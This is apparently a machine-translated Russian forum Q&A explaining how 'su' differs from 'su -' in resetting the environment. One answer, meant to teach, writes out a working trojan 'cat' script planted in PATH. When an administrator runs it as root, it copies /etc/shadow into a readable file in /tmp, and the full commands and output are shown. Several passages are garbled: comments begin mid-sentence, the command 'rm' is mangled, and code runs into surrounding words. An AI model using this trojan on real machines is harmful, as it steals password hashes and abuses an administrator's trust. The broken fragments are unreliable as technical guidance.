Ответы:
su -вызывает оболочку входа в систему после переключения пользователя. Оболочка входа в систему сбрасывает большинство переменных среды, обеспечивая чистую базу.
su просто переключает пользователя, обеспечивая нормальную оболочку со средой, почти такой же, как у старого пользователя.
Представьте, вы разработчик программного обеспечения с обычным пользовательским доступом к машине, а ваш невежественный администратор просто не даст вам root-доступ. Давайте (надеюсь) обмануть его.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Теперь вы спрашиваете своего администратора, почему вы не можете catиспользовать фиктивный файл в своей домашней папке, он просто не будет работать!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Если ваш админ не такой умный или просто ленивый, он может подойти к вам и попробовать свои полномочия суперпользователя:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Вау! Спасибо, супер админ!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Он, он.
Возможно, вы заметили, что поврежденная $PATHпеременная не была сброшена. Этого бы не произошло, если бы su -вместо этого вызывал админ .
umaskкак 000, иначе это не сработает.
suфайл в PATH. Не так сложно подражать поведению реального su. Супер-пользователь все равно был небрежным :-)
su --НЕ то же самое, что su -: --говорит обработчику опций getopt (s) (или аналогичному) прекратить обработку командной строки для дальнейших опций (полезно, например, если остальные содержат имена файлов, которые могут начинаться с '-'). То есть, в «ет -i - -f»: -f затем обрабатывается как обычный аргумент, так что здесь , как имя файла , к rm -i, а не в качестве additionnal -fопции к rmкоманде. Так su --это справедливо suи нет su -! Так su --что было бы небезопасно (веселый и поучительный) пример Гивана от виля. Используйте su -.
su -полностью регистрирует вас как root, а suделает так, что вы притворяетесь root.
Наиболее очевидный пример этого - ~домашний каталог пользователя root, если вы его используете su -, но ваш домашний каталог, если вы его используете su.
В зависимости от вашей системы это также может означать различия в подсказках PATHили файлах истории.
Поэтому, если вы являетесь частью команды, администрирующей систему, и ваш коллега дает вам команду на запуск, вы знаете, что она будет работать одинаково, если вы оба используете su -, но если вы оба используете su, могут быть различия из-за того, что у вас есть различные конфигурации оболочки.
С другой стороны, если вы хотите запустить команду от имени пользователя root, но использовать свою собственную конфигурацию, то, возможно su, вам лучше.
Также не забывайте о том sudo, что есть -sвозможность запустить оболочку от имени root. Конечно, это также имеет разные правила, и они меняются в зависимости от того, какой дистрибутив вы используете.
.bashrcили /etc/bashrcили /etc/profile.dсценарии устанавливаются PATH. Ищите if [ $UID -eq 0 ]или что-то в этом роде.
$USERнапример, оставлено без изменений.
sudo su?
Я использую su - когда я нахожусь в каталоге как обычный пользователь, но хочу переключиться на root и оставаться в том же каталоге после переключения. Когда вы используете su - он переключает пользователя на root, а также переводит вас в / root, который является корневым домашним каталогом.
/все, что определено как домашний каталог root
Основным отличием является:
su - username устанавливает среду оболочки так, как если бы она была чистым логином от имени указанного пользователя, она обращается к переменным среды указанных пользователей и использует их,
su username просто запускает оболочку с текущими настройками среды для указанного пользователя.
Если имя пользователя не указано с помощью suи su -, корневая учетная запись подразумевается по умолчанию.
su --так же, какsu.